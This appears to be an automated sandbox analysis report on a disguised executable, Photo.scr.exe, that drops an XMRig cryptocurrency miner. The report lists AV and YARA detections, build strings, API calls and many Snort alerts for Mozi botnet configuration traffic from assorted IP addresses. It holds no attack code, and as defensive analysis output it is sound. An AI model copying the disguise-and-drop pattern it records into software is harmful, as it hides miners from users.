Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 1.10.212.36 - Destination IP: 192.168.2.3

Timestamp:	1.10.212.36192.168.2.333084234812030919 08/23/23-09:18:28.086126
SID:	2030919
Source Port:	33084
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.81.172 - Destination IP: 192.168.2.3

Timestamp:	178.72.81.172192.168.2.318439234812030919 08/23/23-09:18:20.370180
SID:	2030919
Source Port:	18439
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.76.37 - Destination IP: 192.168.2.3

Timestamp:	178.72.76.37192.168.2.315761234812030919 08/23/23-09:18:34.468820
SID:	2030919
Source Port:	15761
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.81.138 - Destination IP: 192.168.2.3

Timestamp:	178.72.81.138192.168.2.312576234812030919 08/23/23-09:17:47.964959
SID:	2030919
Source Port:	12576
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.78.143 - Destination IP: 192.168.2.3

Timestamp:	178.72.78.143192.168.2.326061234812030919 08/23/23-09:16:37.526057
SID:	2030919
Source Port:	26061
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.78.240 - Destination IP: 192.168.2.3

Timestamp:	178.72.78.240192.168.2.315163234812030919 08/23/23-09:18:39.375580
SID:	2030919
Source Port:	15163
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.68.28 - Destination IP: 192.168.2.3

Timestamp:	178.72.68.28192.168.2.38614234812030919 08/23/23-09:18:23.476167
SID:	2030919
Source Port:	8614
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 154.82.92.21 - Destination IP: 192.168.2.3

Timestamp:	154.82.92.21192.168.2.38082234812030919 08/23/23-09:18:06.688902
SID:	2030919
Source Port:	8082
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.141.160.140 - Destination IP: 192.168.2.3

Timestamp:	178.141.160.140192.168.2.34781234812030919 08/23/23-09:18:32.284967
SID:	2030919
Source Port:	4781
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 1.10.212.36 - Destination IP: 192.168.2.3

Timestamp:	1.10.212.36192.168.2.315542234812030919 08/23/23-09:18:35.943903
SID:	2030919
Source Port:	15542
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 1.10.212.33 - Destination IP: 192.168.2.3

Timestamp:	1.10.212.33192.168.2.342873234812030919 08/23/23-09:18:35.283749
SID:	2030919
Source Port:	42873
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 1.10.212.36 - Destination IP: 192.168.2.3

Timestamp:	1.10.212.36192.168.2.331963234812030919 08/23/23-09:18:34.151342
SID:	2030919
Source Port:	31963
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.141.48.102 - Destination IP: 192.168.2.3

Timestamp:	178.141.48.102192.168.2.336660234812030919 08/23/23-09:18:09.903686
SID:	2030919
Source Port:	36660
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.70.144 - Destination IP: 192.168.2.3

Timestamp:	178.72.70.144192.168.2.320911234812030919 08/23/23-09:16:02.931554
SID:	2030919
Source Port:	20911
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 45.139.215.225 - Destination IP: 192.168.2.3

Timestamp:	45.139.215.225192.168.2.337869234812030919 08/23/23-09:16:38.876179
SID:	2030919
Source Port:	37869
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.68.50 - Destination IP: 192.168.2.3

Timestamp:	178.72.68.50192.168.2.316808234812030919 08/23/23-09:17:18.254756
SID:	2030919
Source Port:	16808
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.77.11 - Destination IP: 192.168.2.3

Timestamp:	178.72.77.11192.168.2.323752234812030919 08/23/23-09:18:24.582988
SID:	2030919
Source Port:	23752
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.78.173 - Destination IP: 192.168.2.3

Timestamp:	178.72.78.173192.168.2.320624234812030919 08/23/23-09:18:27.735190
SID:	2030919
Source Port:	20624
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.81.140 - Destination IP: 192.168.2.3

Timestamp:	178.72.81.140192.168.2.33253234812030919 08/23/23-09:18:33.399585
SID:	2030919
Source Port:	3253
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.81.131 - Destination IP: 192.168.2.3

Timestamp:	178.72.81.131192.168.2.315271234812030919 08/23/23-09:18:35.361323
SID:	2030919
Source Port:	15271
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 1.10.212.33 - Destination IP: 192.168.2.3

Timestamp:	1.10.212.33192.168.2.349947234812030919 08/23/23-09:18:33.968720
SID:	2030919
Source Port:	49947
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 95.24.1.50 - Destination IP: 192.168.2.3

Timestamp:	95.24.1.50192.168.2.315201234812030919 08/23/23-09:17:45.008812
SID:	2030919
Source Port:	15201
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 1.10.212.33 - Destination IP: 192.168.2.3

Timestamp:	1.10.212.33192.168.2.328411234812030919 08/23/23-09:18:34.640321
SID:	2030919
Source Port:	28411
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.141.240.3 - Destination IP: 192.168.2.3

Timestamp:	178.141.240.3192.168.2.334869234812030919 08/23/23-09:18:18.944250
SID:	2030919
Source Port:	34869
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.91.172 - Destination IP: 192.168.2.3

Timestamp:	178.72.91.172192.168.2.351952234812030919 08/23/23-09:18:33.724890
SID:	2030919
Source Port:	51952
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.81.66 - Destination IP: 192.168.2.3

Timestamp:	178.72.81.66192.168.2.37586234812030919 08/23/23-09:18:34.466922
SID:	2030919
Source Port:	7586
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 190.80.24.230 - Destination IP: 192.168.2.3

Timestamp:	190.80.24.230192.168.2.318924234812030919 08/23/23-09:18:07.165949
SID:	2030919
Source Port:	18924
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.77.192 - Destination IP: 192.168.2.3

Timestamp:	178.72.77.192192.168.2.39679234812030919 08/23/23-09:16:05.991825
SID:	2030919
Source Port:	9679
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.81.75 - Destination IP: 192.168.2.3

Timestamp:	178.72.81.75192.168.2.325704234812030919 08/23/23-09:15:38.599554
SID:	2030919
Source Port:	25704
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 95.24.11.148 - Destination IP: 192.168.2.3

Timestamp:	95.24.11.148192.168.2.326814234812030919 08/23/23-09:16:41.074406
SID:	2030919
Source Port:	26814
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 1.10.212.35 - Destination IP: 192.168.2.3

Timestamp:	1.10.212.35192.168.2.310096234812030919 08/23/23-09:18:35.358370
SID:	2030919
Source Port:	10096
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.77.81 - Destination IP: 192.168.2.3

Timestamp:	178.72.77.81192.168.2.313729234812030919 08/23/23-09:16:17.192477
SID:	2030919
Source Port:	13729
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.81.235 - Destination IP: 192.168.2.3

Timestamp:	178.72.81.235192.168.2.319991234812030919 08/23/23-09:17:43.804343
SID:	2030919
Source Port:	19991
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 95.24.68.114 - Destination IP: 192.168.2.3

Timestamp:	95.24.68.114192.168.2.315190234812030919 08/23/23-09:18:34.066618
SID:	2030919
Source Port:	15190
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\_MEI60842\back.jpg

Avira: detection malicious, Label: TR/Redcap.bobip

Multi AV Scanner detection for submitted file

Source: Photo.scr.exe	ReversingLabs: Detection: 83%
Source: Photo.scr.exe	Virustotal: Detection: 76%			Perma Link

Antivirus / Scanner detection for submitted sample

Source: Photo.scr.exe

Avira: detected

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\_MEI60842\back.jpg	ReversingLabs: Detection: 51%
Source: C:\Users\user\AppData\Local\Temp\_MEI60842\xmrig.exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\_MEI63722\back.jpg	ReversingLabs: Detection: 51%
Source: C:\Users\user\AppData\Local\Temp\_MEI63722\xmrig.exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\_MEI69002\back.jpg	ReversingLabs: Detection: 51%
Source: C:\Users\user\AppData\Local\Temp\_MEI69002\xmrig.exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\HelpPane.exe	ReversingLabs: Detection: 83%
Source: C:\Windows\Temp\_MEI60722\back.jpg	ReversingLabs: Detection: 51%

Machine Learning detection for sample

Source: Photo.scr.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\_MEI60842\xmrig.exe

Joe Sandbox ML: detected

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: 20.2.cmd.exe.27f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.0.xmrig.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.xmrig.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001D.00000002.951616648.0000000000BD0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000000.418759851.00000000009B0000.00000008.00000001.01000000.0000003A.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.421889362.0000000000C00000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.411224903.0000000002500000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.951616648.0000000000BD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.392017630.0000000002E0B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.403983010.000000000191C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.952083780.000000000290D000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.952136244.0000000002B4D000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.369774094.0000000002514000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.951812463.0000000001852000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.409694423.0000000002A0C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.403235552.0000000000EFC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.951780389.00000000013E0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.403397701.0000000000EFC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.952047348.00000000026CD000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.403127967.0000000000EFC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.377819448.0000000003227000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.421889362.0000000000BFB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.952013447.000000000248D000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.951580295.00000000009B0000.00000004.00000001.01000000.0000003A.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.949906199.0000000000401000.00000040.00000001.01000000.0000003A.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\_MEI69002\config.json, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\_MEI63722\config.json, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\_MEI60842\config.json, type: DROPPED
Source: Yara match	File source: C:\Windows\Temp\config.json, type: DROPPED
Source: Yara match	File source: C:\Windows\Temp\_MEI60722\config.json, type: DROPPED
Source: Yara match	File source: C:\Windows\Temp\_MEI60722\xmrig.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\_MEI63722\xmrig.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\Temp\xmrig.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\_MEI69002\xmrig.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\_MEI60842\xmrig.exe, type: DROPPED

Source: Photo.scr.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\Photo.scr.exe

File opened: C:\Users\user\AppData\Local\Temp\_MEI69002\msvcr90.dll

Jump to behavior

Source: Photo.scr.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: O:\src\pywin32\build\temp.win32-2.7\Release\_win32sysloader.pdb source: Photo.scr.exe, 00000000.00000003.365570579.0000000002231000.00000004.00000020.00020000.00000000.sdmp, HelpPane.exe, 00000006.00000003.375100865.0000000002F51000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\build27\cpython\PCBuild\python27.pdb1v source: Photo.scr.exe, 00000001.00000002.433740450.000000006C471000.00000040.00000001.01000000.00000004.sdmp
Source:	Binary string: C:\build27\cpython\PCBuild\_hashlib.pdb% source: Photo.scr.exe, 00000001.00000002.432266444.000000006C141000.00000040.00000001.01000000.00000009.sdmp, HelpPane.exe, 00000007.00000002.386192659.000000006BB81000.00000040.00000001.01000000.00000017.sdmp
Source:	Binary string: C:\build27\cpython\PCBuild\_ctypes.pdb source: Photo.scr.exe, 00000001.00000002.437893833.000000006F351000.00000040.00000001.01000000.00000006.sdmp, HelpPane.exe, 00000007.00000002.386525818.000000006BE21000.00000040.00000001.01000000.00000014.sdmp
Source:	Binary string: C:\build27\cpython\PCBuild\_hashlib.pdb source: Photo.scr.exe, 00000001.00000002.432266444.000000006C141000.00000040.00000001.01000000.00000009.sdmp, HelpPane.exe, 00000007.00000002.386192659.000000006BB81000.00000040.00000001.01000000.00000017.sdmp
Source:	Binary string: C:\build27\cpython\PCBuild\_socket.pdb source: Photo.scr.exe, 00000001.00000002.435928580.000000006F251000.00000040.00000001.01000000.00000007.sdmp
Source:	Binary string: O:\src\pywin32\build\temp.win32-2.7\Release\pywintypes.pdb source: Photo.scr.exe, Photo.scr.exe, 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp
Source:	Binary string: O:\src\pywin32\build\temp.win32-2.7\Release\servicemanager.pdb source: Photo.scr.exe, 00000001.00000002.431909214.000000001E7D1000.00000040.00000001.01000000.00000010.sdmp, HelpPane.exe, 00000007.00000002.386072990.000000001E7D1000.00000040.00000001.01000000.0000001E.sdmp
Source:	Binary string: O:\src\pywin32\build\temp.win32-2.7\Release\pywintypes.pdb$ source: Photo.scr.exe, 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp
Source:	Binary string: O:\src\pywin32\build\temp.win32-2.7\Release\win32service.pdbl source: Photo.scr.exe, 00000001.00000002.432176124.000000001ECB1000.00000040.00000001.01000000.0000000C.sdmp
Source:	Binary string: msvcm90.i386.pdb source: Photo.scr.exe, 00000000.00000003.365707921.0000000002231000.00000004.00000020.00020000.00000000.sdmp, HelpPane.exe, 00000006.00000003.375310051.0000000002F51000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: O:\src\pywin32\build\temp.win32-2.7\Release\win32service.pdb source: Photo.scr.exe, 00000001.00000002.432176124.000000001ECB1000.00000040.00000001.01000000.0000000C.sdmp
Source:	Binary string: O:\src\pywin32\build\temp.win32-2.7\Release\win32api.pdb source: Photo.scr.exe, 00000001.00000002.431988864.000000001E8C1000.00000040.00000001.01000000.0000000E.sdmp
Source:	Binary string: C:\build27\cpython\PCBuild\python27.pdb source: Photo.scr.exe, 00000001.00000002.433740450.000000006C471000.00000040.00000001.01000000.00000004.sdmp
Source:	Binary string: O:\src\pywin32\build\temp.win32-2.7\Release\servicemanager.pdb19 source: Photo.scr.exe, 00000001.00000002.431909214.000000001E7D1000.00000040.00000001.01000000.00000010.sdmp, HelpPane.exe, 00000007.00000002.386072990.000000001E7D1000.00000040.00000001.01000000.0000001E.sdmp
Source:	Binary string: C:\build27\cpython\PCBuild\_ssl.pdb source: Photo.scr.exe, 00000001.00000002.432913322.000000006C251000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: O:\src\pywin32\build\temp.win32-2.7\Release\win32event.pdb source: Photo.scr.exe, 00000001.00000002.432080080.000000001E9B1000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: C:\build27\cpython\PCBuild\_ctypes.pdba source: Photo.scr.exe, 00000001.00000002.437893833.000000006F351000.00000040.00000001.01000000.00000006.sdmp, HelpPane.exe, 00000007.00000002.386525818.000000006BE21000.00000040.00000001.01000000.00000014.sdmp

Source: C:\Users\user\Desktop\Photo.scr.exe

Code function: 1_2_027641B0 PyList_New,SetErrorMode,PyArg_ParseTuple,PyObject_IsTrue,PyEval_SaveThread,GetLogicalDriveStringsA,PyEval_RestoreThread,PyErr_SetFromWindowsErr,PyEval_SaveThread,GetDriveTypeA,PyEval_RestoreThread,GetVolumeInformationA,SetLastError,FindFirstVolumeMountPointA,Py_BuildValue,PyList_Append,FindNextVolumeMountPointA,FindVolumeMountPointClose,Py_BuildValue,PyList_Append,SetErrorMode,FindVolumeMountPointClose,SetErrorMode,

1_2_027641B0

Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 0_2_001DE3C3 FindFirstFileExW,GetLastError,FindNextFileW,GetLastError,		0_2_001DE3C3
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 0_2_001E7238 FindFirstFileExW,		0_2_001E7238

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 210.245.102.197:6881 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 148.66.134.158:17192 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.68.87:9088 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.141.128.86:30301 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 137.175.46.64:6736 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.68.28:8614 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.78.161:34769 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.70.15:29108 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 1.10.212.33:49947 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.71.171:12562 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 1.10.212.36:30694 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 220.124.130.79:3861 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 201.221.109.75:4000 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.70.120:32028 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.78.71:11408 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.141.79.117:1434 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.78.47:16475 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.76.8:5158 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 1.10.212.36:33084 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.75.223:8332 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.76.237:6529 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.141.40.140:5060 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 154.82.92.21:8082 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 201.221.109.243:30301 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 1.10.212.38:15858 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 1.10.212.33:42873 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 1.10.212.35:6584 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 1.10.212.38:51059 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.77.192:9679 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.141.129.17:8081 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 200.81.166.165:39352 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.77.199:18750 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 1.10.212.36:15542 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.76.65:21043 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 1.10.212.37:59772 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.77.19:34980 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.76.218:25375 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 175.241.153.212:8083 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.77.156:18575 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 122.155.0.70:6881 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 1.10.212.34:29509 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.81.87:2581 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 1.10.212.36:31963 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.76.222:19710 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.76.167:15537 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.68.100:18001 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.141.44.243:31371 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.141.48.102:36660 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 110.49.63.20:5353 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.76.222:22834 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.70.8:9387 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 1.10.212.36:48245 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.81.154:29110 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.71.197:12289 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.78.173:20624 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.77.142:18586 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.141.160.140:4781 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.81.75:25704 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.78.143:7935 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 200.6.88.177:16311 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 1.10.212.35:35615 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 95.24.160.127:56171 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 222.127.147.207:30301 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 1.10.212.35:10096 -> 192.168.2.3:23481
